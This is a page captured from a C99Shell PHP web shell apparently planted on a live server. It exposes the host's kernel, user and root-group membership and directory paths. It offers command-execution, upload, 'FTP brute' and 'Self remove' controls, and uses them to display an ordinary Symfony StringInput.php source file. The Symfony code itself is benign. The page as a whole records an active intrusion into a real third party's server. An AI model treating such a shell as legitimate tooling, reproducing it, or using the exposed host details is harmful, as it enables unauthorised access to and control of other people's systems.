!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/symfony/console/Input/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StringInput.php (2.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Input;

use 
Symfony\Component\Console\Exception\InvalidArgumentException;

/**
 * StringInput represents an input provided as a string.
 *
 * Usage:
 *
 *     $input = new StringInput('foo --bar="foobar"');
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class StringInput extends ArgvInput
{
    public const 
REGEX_STRING '([^\s]+?)(?:\s|(?<!\\\\)"|(?<!\\\\)\'|$)';
    public const 
REGEX_UNQUOTED_STRING '([^\s\\\\]+?)';
    public const 
REGEX_QUOTED_STRING '(?:"([^"\\\\]*(?:\\\\.[^"\\\\]*)*)"|\'([^\'\\\\]*(?:\\\\.[^\'\\\\]*)*)\')';

    
/**
     * @param string $input A string representing the parameters from the CLI
     */
    
public function __construct(string $input)
    {
        
parent::__construct([]);

        
$this->setTokens($this->tokenize($input));
    }

    
/**
     * Tokenizes a string.
     *
     * @throws InvalidArgumentException When unable to parse input (should never happen)
     */
    
private function tokenize(string $input): array
    {
        
$tokens = [];
        
$length \strlen($input);
        
$cursor 0;
        
$token null;
        while (
$cursor $length) {
            if (
'\\' === $input[$cursor]) {
                
$token .= $input[++$cursor] ?? '';
                ++
$cursor;
                continue;
            }

            if (
preg_match('/\s+/A'$input$match0$cursor)) {
                if (
null !== $token) {
                    
$tokens[] = $token;
                    
$token null;
                }
            } elseif (
preg_match('/([^="\'\s]+?)(=?)('.self::REGEX_QUOTED_STRING.'+)/A'$input$match0$cursor)) {
                
$token .= $match[1].$match[2].stripcslashes(str_replace(['"\'''\'"''\'\'''""'], ''substr($match[3], 1, -1)));
            } elseif (
preg_match('/'.self::REGEX_QUOTED_STRING.'/A'$input$match0$cursor)) {
                
$token .= stripcslashes(substr($match[0], 1, -1));
            } elseif (
preg_match('/'.self::REGEX_UNQUOTED_STRING.'/A'$input$match0$cursor)) {
                
$token .= $match[1];
            } else {
                
// should never happen
                
throw new InvalidArgumentException(sprintf('Unable to parse input near "... %s ...".'substr($input$cursor10)));
            }

            
$cursor += \strlen($match[0]);
        }

        if (
null !== $token) {
            
$tokens[] = $token;
        }

        return 
$tokens;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--